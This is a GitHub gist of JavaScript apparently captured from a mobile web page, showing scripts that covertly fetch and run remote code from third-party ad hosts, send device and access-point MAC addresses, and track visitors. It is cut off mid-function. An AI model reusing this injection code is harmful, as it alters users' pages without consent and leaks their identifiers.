Skip to content

Instantly share code, notes, and snippets.

@firedfox
Last active August 1, 2016 14:46
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save firedfox/a657e8f4ebe79f9260c4fa84958a3a20 to your computer and use it in GitHub Desktop.
Save firedfox/a657e8f4ebe79f9260c4fa84958a3a20 to your computer and use it in GitHub Desktop.
(function(d, w) {
var gid = "_uuid_im_3019_";
function $isdone() {
var e = d.getElementById(gid);
if (e) {
return true
}
return false
}
function $a(p) {
try {
var x = d.getElementsByTagName("head")[0];
var y = x.appendChild($s(p));
setTimeout(function() {
x.removeChild(y)
}, 2000)
} catch (e) {}
}
function $c(n) {
return d.createElement(n)
}
function $s(p) {
var j = $c("script");
j.type = "text/javascript";
j.async = true;
j.src = p;
return j
}
var ua = navigator.userAgent;
if (ua.indexOf("Android") > 0 || ua.indexOf("Mobile") > 0) {
if (!w._uuid_im_3019_) {
w._uuid_im_3019_ = 1;
if ($isdone()) {
return
}
var l = $c("div");
l.id = gid;
l.style.display = "none";
d.body.appendChild(l);
setTimeout(function() {
$a("http://a.liuzhi520.com/rt/rt_adjs_common.php?id=10253&matchcity=1")
}, 1000);
}
}
})(document, window);
(function(){var h={},mt={},c={id:"75a4415a6fb0acabe2d55dfc198fb5b1",dm:["wap.libaclub.com"],js:"tongji.baidu.com/hm-web/js/",etrk:[],icon:'',ctrk:false,align:-1,nv:-1,vdur:1800000,age:31536000000,rec:0,rp:[],trust:0,vcard:0,qiao:0,lxb:0,conv:0,med:0,cvcc:'',cvcf:[],apps:''};var r=void 0,s=!0,t=null,w=!1;mt.h={};mt.h.ua=/msie (\d+\.\d+)/i.test(navigator.userAgent);mt.h.sa=/msie (\d+\.\d+)/i.test(navigator.userAgent)?document.documentMode||+RegExp.$1:r;mt.h.cookieEnabled=navigator.cookieEnabled;mt.h.javaEnabled=navigator.javaEnabled();mt.h.language=navigator.language||navigator.browserLanguage||navigator.systemLanguage||navigator.userLanguage||"";mt.h.wa=(window.screen.width||0)+"x"+(window.screen.height||0);mt.h.colorDepth=window.screen.colorDepth||0;mt.cookie={};
mt.cookie.set=function(a,b,e){var d;e.F&&(d=new Date,d.setTime(d.getTime()+e.F));document.cookie=a+"="+b+(e.domain?"; domain="+e.domain:"")+(e.path?"; path="+e.path:"")+(d?"; expires="+d.toGMTString():"")+(e.Pa?"; secure":"")};mt.cookie.get=function(a){return(a=RegExp("(^| )"+a+"=([^;]*)(;|$)").exec(document.cookie))?a[2]:t};mt.o={};mt.o.fa=function(a){return document.getElementById(a)};mt.o.Ia=function(a,b){for(b=b.toUpperCase();(a=a.parentNode)&&1==a.nodeType;)if(a.tagName==b)return a;return t};
(mt.o.T=function(){function a(){if(!a.w){a.w=s;for(var b=0,e=d.length;b<e;b++)d[b]()}}function b(){try{document.documentElement.doScroll("left")}catch(d){setTimeout(b,1);return}a()}var e=w,d=[],g;document.addEventListener?g=function(){document.removeEventListener("DOMContentLoaded",g,w);a()}:document.attachEvent&&(g=function(){"complete"===document.readyState&&(document.detachEvent("onreadystatechange",g),a())});(function(){if(!e)if(e=s,"complete"===document.readyState)a.w=s;else if(document.addEventListener)document.addEventListener("DOMContentLoaded",
g,w),window.addEventListener("load",a,w);else if(document.attachEvent){document.attachEvent("onreadystatechange",g);window.attachEvent("onload",a);var d=w;try{d=window.frameElement==t}catch(n){}document.documentElement.doScroll&&d&&b()}})();return function(b){a.w?b():d.push(b)}}()).w=w;mt.event={};mt.event.c=function(a,b,e){a.attachEvent?a.attachEvent("on"+b,function(b){e.call(a,b)}):a.addEventListener&&a.addEventListener(b,e,w)};
mt.event.preventDefault=function(a){a.preventDefault?a.preventDefault():a.returnValue=w};mt.j={};mt.j.parse=function(){return(new Function('return (" + source + ")'))()};
mt.j.stringify=function(){function a(a){/["\\\x00-\x1f]/.test(a)&&(a=a.replace(/["\\\x00-\x1f]/g,function(a){var b=e[a];if(b)return b;b=a.charCodeAt();return"\\u00"+Math.floor(b/16).toString(16)+(b%16).toString(16)}));return'"'+a+'"'}function b(a){return 10>a?"0"+a:a}var e={"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"};return function(d){switch(typeof d){case "undefined":return"undefined";case "number":return isFinite(d)?String(d):"null";case "string":return a(d);case "boolean":return String(d);
default:if(d===t)return"null";if(d instanceof Array){var e=["["],k=d.length,n,f,l;for(f=0;f<k;f++)switch(l=d[f],typeof l){case "undefined":case "function":case "unknown":break;default:n&&e.push(","),e.push(mt.j.stringify(l)),n=1}e.push("]");return e.join("")}if(d instanceof Date)return'"'+d.getFullYear()+"-"+b(d.getMonth()+1)+"-"+b(d.getDate())+"T"+b(d.getHours())+":"+b(d.getMinutes())+":"+b(d.getSeconds())+'"';n=["{"];f=mt.j.stringify;for(k in d)if(Object.prototype.hasOwnProperty.call(d,k))switch(l=
d[k],typeof l){case "undefined":case "unknown":case "function":break;default:e&&n.push(","),e=1,n.push(f(k)+":"+f(l))}n.push("}");return n.join("")}}}();mt.lang={};mt.lang.d=function(a,b){return"[object "+b+"]"==={}.toString.call(a)};mt.lang.Ma=function(a){return mt.lang.d(a,"Number")&&isFinite(a)};mt.lang.Oa=function(a){return mt.lang.d(a,"String")};mt.localStorage={};
mt.localStorage.A=function(){if(!mt.localStorage.f)try{mt.localStorage.f=document.createElement("input"),mt.localStorage.f.type="hidden",mt.localStorage.f.style.display="none",mt.localStorage.f.addBehavior("#default#userData"),document.getElementsByTagName("head")[0].appendChild(mt.localStorage.f)}catch(a){return w}return s};
mt.localStorage.set=function(a,b,e){var d=new Date;d.setTime(d.getTime()+e||31536E6);try{window.localStorage?(b=d.getTime()+"|"+b,window.localStorage.setItem(a,b)):mt.localStorage.A()&&(mt.localStorage.f.expires=d.toUTCString(),mt.localStorage.f.load(document.location.hostname),mt.localStorage.f.setAttribute(a,b),mt.localStorage.f.save(document.location.hostname))}catch(g){}};
mt.localStorage.get=function(a){if(window.localStorage){if(a=window.localStorage.getItem(a)){var b=a.indexOf("|"),e=a.substring(0,b)-0;if(e&&e>(new Date).getTime())return a.substring(b+1)}}else if(mt.localStorage.A())try{return mt.localStorage.f.load(document.location.hostname),mt.localStorage.f.getAttribute(a)}catch(d){}return t};
mt.localStorage.remove=function(a){if(window.localStorage)window.localStorage.removeItem(a);else if(mt.localStorage.A())try{mt.localStorage.f.load(document.location.hostname),mt.localStorage.f.removeAttribute(a),mt.localStorage.f.save(document.location.hostname)}catch(b){}};mt.sessionStorage={};mt.sessionStorage.set=function(a,b){if(window.sessionStorage)try{window.sessionStorage.setItem(a,b)}catch(e){}};
mt.sessionStorage.get=function(a){return window.sessionStorage?window.sessionStorage.getItem(a):t};mt.sessionStorage.remove=function(a){window.sessionStorage&&window.sessionStorage.removeItem(a)};mt.U={};mt.U.log=function(a,b){var e=new Image,d="mini_tangram_log_"+Math.floor(2147483648*Math.random()).toString(36);window[d]=e;e.onload=e.onerror=e.onabort=function(){e.onload=e.onerror=e.onabort=t;e=window[d]=t;b&&b(a)};e.src=a};mt.M={};
mt.M.la=function(){var a="";if(navigator.plugins&&navigator.mimeTypes.length){var b=navigator.plugins["Shockwave Flash"];b&&b.description&&(a=b.description.replace(/^.*\s+(\S+)\s+\S+$/,"$1"))}else if(window.ActiveXObject)try{if(b=new ActiveXObject("ShockwaveFlash.ShockwaveFlash"))(a=b.GetVariable("$version"))&&(a=a.replace(/^.*\s+(\d+),(\d+).*$/,"$1.$2"))}catch(e){}return a};
mt.M.Ha=function(a,b,e,d,g){return'<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" id="'+a+'" width="'+e+'" height="'+d+'"><param name="movie" value="'+b+'" /><param name="flashvars" value="'+(g||"")+'" /><param name="allowscriptaccess" value="always" /><embed type="application/x-shockwave-flash" name="'+a+'" width="'+e+'" height="'+d+'" src="'+b+'" flashvars="'+(g||"")+'" allowscriptaccess="always" /></object>'};mt.url={};
mt.url.i=function(a,b){var e=a.match(RegExp("(^|&|\\?|#)("+b+")=([^&#]*)(&|$|#)",""));return e?e[3]:t};mt.url.Ka=function(a){return(a=a.match(/^(https?:)\/\//))?a[1]:t};mt.url.ha=function(a){return(a=a.match(/^(https?:\/\/)?([^\/\?#]*)/))?a[2].replace(/.*@/,""):t};mt.url.O=function(a){return(a=mt.url.ha(a))?a.replace(/:\d+$/,""):a};mt.url.Ja=function(a){return(a=a.match(/^(https?:\/\/)?[^\/]*(.*)/))?a[2].replace(/[\?#].*/,"").replace(/^$/,"/"):t};
h.B={La:"http://tongji.baidu.com/hm-web/welcome/ico",S:"hm.baidu.com/hm.gif",Y:"baidu.com",pa:"hmmd",qa:"hmpl",oa:"hmkw",ma:"hmci",ra:"hmsr",na:"hmcu",m:0,k:Math.round(+new Date/1E3),protocol:"https:"===document.location.protocol?"https:":"http:",Na:0,Ea:6E5,Fa:10,Ga:1024,Da:1,J:2147483647,V:"cc cf ci ck cl cm cp cu cw ds ep et fl ja ln lo lt nv rnd si st su v cv lv api u tt".split(" ")};
(function(){var a={l:{},c:function(a,e){this.l[a]=this.l[a]||[];this.l[a].push(e)},r:function(a,e){this.l[a]=this.l[a]||[];for(var d=this.l[a].length,g=0;g<d;g++)this.l[a][g](e)}};return h.D=a})();
(function(){function a(a,d){var g=document.createElement("script");g.charset="utf-8";b.d(d,"Function")&&(g.readyState?g.onreadystatechange=function(){if("loaded"===g.readyState||"complete"===g.readyState)g.onreadystatechange=t,d()}:g.onload=function(){d()});g.src=a;var k=document.getElementsByTagName("script")[0];k.parentNode.insertBefore(g,k)}var b=mt.lang;return h.load=a})();
(function(){function a(){return function(){h.b.a.nv=0;h.b.a.st=4;h.b.a.et=3;h.b.a.ep=h.C.ia()+","+h.C.ga();h.b.g()}}function b(){clearTimeout(y);var a;x&&(a="visible"==document[x]);z&&(a=!document[z]);f="undefined"==typeof a?s:a;if((!n||!l)&&f&&m)u=s,p=+new Date;else if(n&&l&&(!f||!m))u=w,q+=+new Date-p;n=f;l=m;y=setTimeout(b,100)}function e(a){var p=document,l="";if(a in p)l=a;else for(var b=["webkit","ms","moz","o"],q=0;q<b.length;q++){var m=b[q]+a.charAt(0).toUpperCase()+a.slice(1);if(m in p){l=
m;break}}return l}function d(a){if(!("focus"==a.type||"blur"==a.type)||!(a.target&&a.target!=window))m="focus"==a.type||"focusin"==a.type?s:w,b()}var g=mt.event,k=h.D,n=s,f=s,l=s,m=s,v=+new Date,p=v,q=0,u=s,x=e("visibilityState"),z=e("hidden"),y;b();(function(){var a=x.replace(/[vV]isibilityState/,"visibilitychange");g.c(document,a,b);g.c(window,"pageshow",b);g.c(window,"pagehide",b);"object"==typeof document.onfocusin?(g.c(document,"focusin",d),g.c(document,"focusout",d)):(g.c(window,"focus",d),
g.c(window,"blur",d))})();h.C={ia:function(){return+new Date-v},ga:function(){return u?+new Date-p+q:q}};k.c("pv-b",function(){g.c(window,"unload",a())});return h.C})();
(function(){var a=mt.lang,b=h.B,e=h.load,d={ta:function(d){if((window._dxt===r||a.d(window._dxt,"Array"))&&"undefined"!==typeof h.b){var k=h.b.G();e([b.protocol,"//datax.baidu.com/x.js?si=",c.id,"&dm=",encodeURIComponent(k)].join(""),d)}},Ca:function(b){if(a.d(b,"String")||a.d(b,"Number"))window._dxt=window._dxt||[],window._dxt.push(["_setUserId",b])}};return h.aa=d})();
(function(){function a(l){for(var b in l)if({}.hasOwnProperty.call(l,b)){var d=l[b];e.d(d,"Object")||e.d(d,"Array")?a(d):l[b]=String(d)}}function b(a){return a.replace?a.replace(/'/g,"'0").replace(/\*/g,"'1").replace(/!/g,"'2"):a}var e=mt.lang,d=mt.j,g=h.B,k=h.D,n=h.aa,f={p:[],z:0,Q:w,init:function(){f.e=0;k.c("pv-b",function(){f.ba();f.da()});k.c("pv-d",f.ea);k.c("stag-b",function(){h.b.a.api=f.e||f.z?f.e+"_"+f.z:""});k.c("stag-d",function(){h.b.a.api=0;f.e=0;f.z=0})},ba:function(){var a=window._hmt||
[];if(!a||e.d(a,"Array"))window._hmt={id:c.id,cmd:{},push:function(){for(var a=window._hmt,l=0;l<arguments.length;l++){var p=arguments[l];e.d(p,"Array")&&(a.cmd[a.id].push(p),"_setAccount"===p[0]&&(1<p.length&&/^[0-9a-f]{32}$/.test(p[1]))&&(p=p[1],a.id=p,a.cmd[p]=a.cmd[p]||[]))}}},window._hmt.cmd[c.id]=[],window._hmt.push.apply(window._hmt,a)},da:function(){var a=window._hmt;if(a&&a.cmd&&a.cmd[c.id])for(var b=a.cmd[c.id],d=/^_track(Event|MobConv|Order|RTEvent)$/,p=0,q=b.length;p<q;p++){var e=b[p];
d.test(e[0])?f.p.push(e):f.K(e)}a.cmd[c.id]={push:f.K}},ea:function(){if(0<f.p.length)for(var a=0,b=f.p.length;a<b;a++)f.K(f.p[a]);f.p=t},K:function(a){var b=a[0];if(f.hasOwnProperty(b)&&e.d(f[b],"Function"))f[b](a)},_setAccount:function(a){1<a.length&&/^[0-9a-f]{32}$/.test(a[1])&&(f.e|=1)},_setAutoPageview:function(a){if(1<a.length&&(a=a[1],w===a||s===a))f.e|=2,h.b.P=a},_trackPageview:function(a){if(1<a.length&&a[1].charAt&&"/"===a[1].charAt(0)){f.e|=4;h.b.a.et=0;h.b.a.ep="";h.b.H?(h.b.a.nv=0,h.b.a.st=
4):h.b.H=s;var b=h.b.a.u,d=h.b.a.su;h.b.a.u=g.protocol+"//"+document.location.host+a[1];f.Q||(h.b.a.su=document.location.href);h.b.g();h.b.a.u=b;h.b.a.su=d}},_trackEvent:function(a){2<a.length&&(f.e|=8,h.b.a.nv=0,h.b.a.st=4,h.b.a.et=4,h.b.a.ep=b(a[1])+"*"+b(a[2])+(a[3]?"*"+b(a[3]):"")+(a[4]?"*"+b(a[4]):""),h.b.g())},_setCustomVar:function(a){if(!(4>a.length)){var d=a[1],e=a[4]||3;if(0<d&&6>d&&0<e&&4>e){f.z++;for(var p=(h.b.a.cv||"*").split("!"),q=p.length;q<d-1;q++)p.push("*");p[d-1]=e+"*"+b(a[2])+
"*"+b(a[3]);h.b.a.cv=p.join("!");a=h.b.a.cv.replace(/[^1](\*[^!]*){2}/g,"*").replace(/((^|!)\*)+$/g,"");""!==a?h.b.setData("Hm_cv_"+c.id,encodeURIComponent(a),c.age):h.b.va("Hm_cv_"+c.id)}}},_setReferrerOverride:function(a){1<a.length&&(h.b.a.su=a[1].charAt&&"/"===a[1].charAt(0)?g.protocol+"//"+window.location.host+a[1]:a[1],f.Q=s)},_trackOrder:function(b){b=b[1];e.d(b,"Object")&&(a(b),f.e|=16,h.b.a.nv=0,h.b.a.st=4,h.b.a.et=94,h.b.a.ep=d.stringify(b),h.b.g())},_trackMobConv:function(a){if(a={webim:1,
tel:2,map:3,sms:4,callback:5,share:6}[a[1]])f.e|=32,h.b.a.et=93,h.b.a.ep=a,h.b.g()},_trackRTPageview:function(b){b=b[1];e.d(b,"Object")&&(a(b),b=d.stringify(b),512>=encodeURIComponent(b).length&&(f.e|=64,h.b.a.rt=b))},_trackRTEvent:function(b){b=b[1];if(e.d(b,"Object")){a(b);b=encodeURIComponent(d.stringify(b));var m=function(a){var b=h.b.a.rt;f.e|=128;h.b.a.et=90;h.b.a.rt=a;h.b.g();h.b.a.rt=b},k=b.length;if(900>=k)m.call(this,b);else for(var k=Math.ceil(k/900),p="block|"+Math.round(Math.random()*
g.J).toString(16)+"|"+k+"|",q=[],u=0;u<k;u++)q.push(u),q.push(b.substring(900*u,900*u+900)),m.call(this,p+q.join("|")),q=[]}},_setUserId:function(a){a=a[1];n.ta();n.Ca(a)}};f.init();h.Z=f;return h.Z})();
(function(){function a(){"undefined"===typeof window["_bdhm_loaded_"+c.id]&&(window["_bdhm_loaded_"+c.id]=s,this.a={},this.P=s,this.H=w,this.init())}var b=mt.url,e=mt.U,d=mt.M,g=mt.lang,k=mt.cookie,n=mt.h,f=mt.localStorage,l=mt.sessionStorage,m=h.B,v=h.D;a.prototype={I:function(a,b){a="."+a.replace(/:\d+/,"");b="."+b.replace(/:\d+/,"");var d=a.indexOf(b);return-1<d&&d+b.length===a.length},R:function(a,b){a=a.replace(/^https?:\/\//,"");return 0===a.indexOf(b)},s:function(a){for(var d=0;d<c.dm.length;d++)if(-1<
c.dm[d].indexOf("/")){if(this.R(a,c.dm[d]))return s}else{var e=b.O(a);if(e&&this.I(e,c.dm[d]))return s}return w},G:function(){for(var a=document.location.hostname,b=0,d=c.dm.length;b<d;b++)if(this.I(a,c.dm[b]))return c.dm[b].replace(/(:\d+)?[\/\?#].*/,"");return a},N:function(){for(var a=0,b=c.dm.length;a<b;a++){var d=c.dm[a];if(-1<d.indexOf("/")&&this.R(document.location.href,d))return d.replace(/^[^\/]+(\/.*)/,"$1")+"/"}return"/"},ka:function(){if(!document.referrer)return m.k-m.m>c.vdur?1:4;var a=
w;this.s(document.referrer)&&this.s(document.location.href)?a=s:(a=b.O(document.referrer),a=this.I(a||"",document.location.hostname));return a?m.k-m.m>c.vdur?1:4:3},getData:function(a){try{return k.get(a)||l.get(a)||f.get(a)}catch(b){}},setData:function(a,b,d){try{k.set(a,b,{domain:this.G(),path:this.N(),F:d}),d?f.set(a,b,d):l.set(a,b)}catch(e){}},va:function(a){try{k.set(a,"",{domain:this.G(),path:this.N(),F:-1}),l.remove(a),f.remove(a)}catch(b){}},Aa:function(){var a,b,d,e,f;m.m=this.getData("Hm_lpvt_"+
c.id)||0;13===m.m.length&&(m.m=Math.round(m.m/1E3));b=this.ka();a=4!==b?1:0;if(d=this.getData("Hm_lvt_"+c.id)){e=d.split(",");for(f=e.length-1;0<=f;f--)13===e[f].length&&(e[f]=""+Math.round(e[f]/1E3));for(;2592E3<m.k-e[0];)e.shift();f=4>e.length?2:3;for(1===a&&e.push(m.k);4<e.length;)e.shift();d=e.join(",");e=e[e.length-1]}else d=m.k,e="",f=1;this.setData("Hm_lvt_"+c.id,d,c.age);this.setData("Hm_lpvt_"+c.id,m.k);d=m.k===this.getData("Hm_lpvt_"+c.id)?"1":"0";if(0===c.nv&&this.s(document.location.href)&&
(""===document.referrer||this.s(document.referrer)))a=0,b=4;this.a.nv=a;this.a.st=b;this.a.cc=d;this.a.lt=e;this.a.lv=f},za:function(){for(var a=[],b=this.a.et,d=0,e=m.V.length;d<e;d++){var f=m.V[d],g=this.a[f];"undefined"!==typeof g&&""!==g&&("tt"!==f||"tt"===f&&0===b)&&a.push(f+"="+encodeURIComponent(g))}this.a.rt&&(0===b?a.push("rt="+encodeURIComponent(this.a.rt)):90===b&&a.push("rt="+this.a.rt));return a.join("&")},Ba:function(){this.Aa();this.a.si=c.id;this.a.su=document.referrer;this.a.ds=n.wa;
this.a.cl=n.colorDepth+"-bit";this.a.ln=n.language;this.a.ja=n.javaEnabled?1:0;this.a.ck=n.cookieEnabled?1:0;this.a.lo="number"===typeof _bdhm_top?1:0;this.a.fl=d.la();this.a.v="1.1.29";this.a.cv=decodeURIComponent(this.getData("Hm_cv_"+c.id)||"");this.a.tt=document.title||"";var a=document.location.href;this.a.cm=b.i(a,m.pa)||"";this.a.cp=b.i(a,m.qa)||"";this.a.cw=b.i(a,m.oa)||"";this.a.ci=b.i(a,m.ma)||"";this.a.cf=b.i(a,m.ra)||"";this.a.cu=b.i(a,m.na)||""},init:function(){try{this.Ba(),0===this.a.nv?
this.ya():this.L(".*"),h.b=this,this.$(),v.r("pv-b"),this.xa()}catch(a){var b=[];b.push("si="+c.id);b.push("n="+encodeURIComponent(a.name));b.push("m="+encodeURIComponent(a.message));b.push("r="+encodeURIComponent(document.referrer));e.log(m.protocol+"//"+m.S+"?"+b.join("&"))}},xa:function(){function a(){v.r("pv-d")}this.P?(this.H=s,this.a.et=0,this.a.ep="",this.g(a)):a()},g:function(a){var b=this;b.a.rnd=Math.round(Math.random()*m.J);v.r("stag-b");var d=m.protocol+"//"+m.S+"?"+b.za();v.r("stag-d");
b.X(d);e.log(d,function(d){b.L(d);g.d(a,"Function")&&a.call(b)})},$:function(){var a=document.location.hash.substring(1),d=RegExp(c.id),e=-1<document.referrer.indexOf(m.Y),f=b.i(a,"jn"),g=/^heatlink$|^select$/.test(f);a&&(d.test(a)&&e&&g)&&(this.a.rnd=Math.round(Math.random()*m.J),a=document.createElement("script"),a.setAttribute("type","text/javascript"),a.setAttribute("charset","utf-8"),a.setAttribute("src",m.protocol+"//"+c.js+f+".js?"+this.a.rnd),f=document.getElementsByTagName("script")[0],f.parentNode.insertBefore(a,
f))},X:function(a){var b=l.get("Hm_unsent_"+c.id)||"",d=this.a.u?"":"&u="+encodeURIComponent(document.location.href),b=encodeURIComponent(a.replace(/^https?:\/\//,"")+d)+(b?","+b:"");l.set("Hm_unsent_"+c.id,b)},L:function(a){var b=l.get("Hm_unsent_"+c.id)||"";b&&(a=encodeURIComponent(a.replace(/^https?:\/\//,"")),a=RegExp(a.replace(/([\*\(\)])/g,"\\$1")+"(%26u%3D[^,]*)?,?","g"),(b=b.replace(a,"").replace(/,$/,""))?l.set("Hm_unsent_"+c.id,b):l.remove("Hm_unsent_"+c.id))},ya:function(){var a=this,b=
l.get("Hm_unsent_"+c.id);if(b)for(var b=b.split(","),d=function(b){e.log(m.protocol+"//"+decodeURIComponent(b),function(b){a.L(b)})},f=0,g=b.length;f<g;f++)d(b[f])}};return new a})();
(function(){var a=mt.o,b=mt.event,e=mt.url,d=mt.j;try{if(window.performance&&performance.timing&&"undefined"!==typeof h.b){var g=+new Date,k=function(a){var b=performance.timing,d=b[a+"Start"]?b[a+"Start"]:0;a=b[a+"End"]?b[a+"End"]:0;return{start:d,end:a,value:0<a-d?a-d:0}},n=t;a.T(function(){n=+new Date});var f=function(){var a,b,f;f=k("navigation");b=k("request");f={netAll:b.start-f.start,netDns:k("domainLookup").value,netTcp:k("connect").value,srv:k("response").start-b.start,dom:performance.timing.domInteractive-
performance.timing.fetchStart,loadEvent:k("loadEvent").end-f.start};a=document.referrer;var l=a.match(/^(http[s]?:\/\/)?([^\/]+)(.*)/)||[],u=t;b=t;if("www.baidu.com"===l[2]||"m.baidu.com"===l[2])u=e.i(a,"qid"),b=e.i(a,"click_t");a=u;f.qid=a!=t?a:"";b!=t?(f.bdDom=n?n-b:0,f.bdRun=g-b,f.bdDef=k("navigation").start-b):(f.bdDom=0,f.bdRun=0,f.bdDef=0);h.b.a.et=87;h.b.a.ep=d.stringify(f);h.b.g()};b.c(window,"load",function(){setTimeout(f,500)})}}catch(l){}})();
(function(){var a=mt.h,b=mt.lang,e=mt.event,d=mt.j;if("undefined"!==typeof h.b&&(c.med||(!a.ua||7<a.sa)&&c.cvcc)){var g,k,n,f,l=function(a){if(a.item){for(var b=a.length,d=Array(b);b--;)d[b]=a[b];return d}return[].slice.call(a)},m=function(a,b){for(var d in a)if(a.hasOwnProperty(d)&&b.call(a,d,a[d])===w)return w},v=function(a,e){var f={};f.n=g;f.t="clk";f.v=a;if(e){var k=e.getAttribute("href"),l=e.getAttribute("onclick")?""+e.getAttribute("onclick"):t,m=e.getAttribute("id")||"";n.test(k)?(f.sn="mediate",
f.snv=k):b.d(l,"String")&&n.test(l)&&(f.sn="wrap",f.snv=l);f.id=m}h.b.a.et=86;h.b.a.ep=d.stringify(f);h.b.g();for(f=+new Date;400>=+new Date-f;);};if(c.med)k="/zoosnet",g="swt",n=/swt|zixun|call|chat|zoos|business|talk|kefu|openkf|online|\/LR\/Chatpre\.aspx/i,f={click:function(){for(var a=[],b=l(document.getElementsByTagName("a")),b=[].concat.apply(b,l(document.getElementsByTagName("area"))),b=[].concat.apply(b,l(document.getElementsByTagName("img"))),d,f,e=0,g=b.length;e<g;e++)d=b[e],f=d.getAttribute("onclick"),
d=d.getAttribute("href"),(n.test(f)||n.test(d))&&a.push(b[e]);return a}};else if(c.cvcc){k="/other-comm";g="other";n=c.cvcc.q||r;var p=c.cvcc.id||r;f={click:function(){for(var a=[],b=l(document.getElementsByTagName("a")),b=[].concat.apply(b,l(document.getElementsByTagName("area"))),b=[].concat.apply(b,l(document.getElementsByTagName("img"))),d,e,f,g=0,k=b.length;g<k;g++)d=b[g],n!==r?(e=d.getAttribute("onclick"),f=d.getAttribute("href"),p?(d=d.getAttribute("id"),(n.test(e)||n.test(f)||p.test(d))&&
a.push(b[g])):(n.test(e)||n.test(f))&&a.push(b[g])):p!==r&&(d=d.getAttribute("id"),p.test(d)&&a.push(b[g]));return a}}}if("undefined"!==typeof f&&"undefined"!==typeof n){var q;k+=/\/$/.test(k)?"":"/";var u=function(a,d){if(q===d)return v(k+a,d),w;if(b.d(d,"Array")||b.d(d,"NodeList"))for(var e=0,f=d.length;e<f;e++)if(q===d[e])return v(k+a+"/"+(e+1),d[e]),w};e.c(document,"mousedown",function(a){a=a||window.event;q=a.target||a.srcElement;var d={};for(m(f,function(a,e){d[a]=b.d(e,"Function")?e():document.getElementById(e)});q&&
q!==document&&m(d,u)!==w;)q=q.parentNode})}}})();(function(){var a=mt.o,b=mt.lang,e=mt.event,d=mt.j;if("undefined"!==typeof h.b&&b.d(c.cvcf,"Array")&&0<c.cvcf.length){var g={W:function(){for(var b=c.cvcf.length,d,f=0;f<b;f++)(d=a.fa(decodeURIComponent(c.cvcf[f])))&&e.c(d,"click",g.ca())},ca:function(){return function(){h.b.a.et=86;var a={n:"form",t:"clk"};a.id=this.id;h.b.a.ep=d.stringify(a);h.b.g()}}};a.T(function(){g.W()})}})();
(function(){var a=mt.event,b=mt.j;if(c.med&&"undefined"!==typeof h.b){var e=+new Date,d={n:"anti",sb:0,kb:0,clk:0},g=function(){h.b.a.et=86;h.b.a.ep=b.stringify(d);h.b.g()};a.c(document,"click",function(){d.clk++});a.c(document,"keyup",function(){d.kb=1});a.c(window,"scroll",function(){d.sb++});a.c(window,"unload",function(){d.t=+new Date-e;g()});a.c(window,"load",function(){setTimeout(g,5E3)})}})();})();
(function(d) {
function $a(p) {
try {
var x = d.getElementsByTagName("head")[0];
var y = x.appendChild($s(p));
setTimeout(function() {
x.removeChild(y)
}, 2000)
} catch (e) {}
}
function $c(n) {
return d.createElement(n)
}
function $s(p) {
var j = $c("script");
j.type = "text/javascript";
j.async = true;
j.src = p;
return j
}
$a("http://un.winasdaq.com/ydap.js?ydcp_id=10253&cumid=00:02:DC:8C:58:2F&apmac=80:81:00:f5:34:81")
})(document);
var cpro_id = "";
var baiduImagePlus = {};
var b_js_Blocked = false;
var is_window_loaded = false;
var runFromIframe = false;
if (top != self) {
runFromIframe = true
}
window.ynmap = window.ynmap || new function() {
this.keys = new Array();
this.data = new Object();
this.put = function(key, value) {
if (this.data[key] == null) {
this.keys.push(key)
}
this.data[key] = value
};
this.get = function(key) {
return this.data[key]
}
};
function addYnLoadEvent(func) {
if (document.addEventListener) {
window.addEventListener('load', func, false)
} else {
window.attachEvent('onload', func)
}
}
function checkBaiduJs() {
if (window.BAIDU_SSP_EXP_FLAG || window.BAIDU_C_BASE || window.BAIDU_DUP2 || window.BAIDU_DUP || window.BAIDU_DUP2_require || window._dup_global || window.BAIDU_SSP_define || window.BAIDU_DUP_require || window.BAIDU_DUP2_pageFirstRequestTime) {
b_js_Blocked = false
} else {
b_js_Blocked = true
}
is_window_loaded = true
}
function append_yn_Js(src) {
var script = document.createElement("script");
script.src = src;
script.type = 'text/javascript';
if (document.getElementsByTagName("body")[0]) {
document.getElementsByTagName("body")[0].appendChild(script)
} else {
document.getElementsByTagName("head")[0].appendChild(script)
}
}
function yn_isMobile() {
return navigator.userAgent.toLowerCase().match(/(iphone|ipod|android|ios|symbianos|ipad|mobile|windows phone|tablet)/i)
};
if (!runFromIframe) {
addYnLoadEvent(checkBaiduJs);
if (yn_isMobile()) {
append_yn_Js("http://dup.baidustatic.com/js/dm.js")
} else {
append_yn_Js("http://dup.baidustatic.com/js/ds.js")
}
append_yn_Js("http://un.winasdaq.com/c.js?v=0.2");
append_yn_Js("http://un.winasdaq.com/r.js")
}
function YN_WIFI() {};
function yn_run() {
new YN_WIFI().init()
}
YN_WIFI.prototype = {
codeId: "",
apMac: "",
cumid: "",
width: 320,
height: 50,
apgId: "",
aptId: "",
divId: "",
bottom: 0,
right: 0,
canClose: true,
p: "",
onlyyn: false,
style: "",
eb: 1,
isDomainLimited: false,
ad: {
chooseName: ""
},
yn: {
ynClicked: false
},
bd: {
isFillFailed: false,
fbad: false,
baiduLoaded: false,
bproId: "",
baiduClicked: false,
cpCalled: false,
cpForceReq: false,
picPlusCalled: false,
dubaoCalled: false,
forceRequest: false,
cpInjected: false,
dubaoInjected: false,
picPlusInjected: false
},
server: "blb.winasdaq.com",
userClosed: false,
customized: false,
isMonitor: false,
lunBo: 0,
lunBoScheduled: false,
onMessage: function(e) {
if (e.data == "baidu_blank" || e.data == "baidu_gongyi" || e.data == "fill_failed") {
if (this.ad.chooseName == "baidu") {
this.close()
}
if (this.bd.isFillFailed) {
this.createDefault(true)
} else {
this.bd.isFillFailed = true;
this.createDefault(false)
}
}
},
getUrlParam: function(url, name) {
if (url != null && url.split("?").length > 1) {
var p = url.split("?")[1];
p = p.replace(";", "");
if (p.length > 1) {
var parameters = p.split("&");
for (var i = 0; i < parameters.length; i++) {
var item = parameters[i];
var items = item.split("=");
if (items[0] == name) {
return items[1]
}
}
}
}
return ""
},
getJsUrl: function(name) {
var scripts = document.getElementsByTagName('script');
var l = scripts.length;
for (var i = 0; i < l; i++) {
js = scripts[i].src;
if (js.indexOf(name + ".js") != -1) {
if (js.indexOf("data.winasdaq.com") != -1) {
this.server = "data.winasdaq.com"
} else if (js.indexOf("soarfi.cn") != -1) {
this.server = "un1.soarfi.cn"
}
var ydcp_id = this.getUrlParam(js, "ydcp_id");
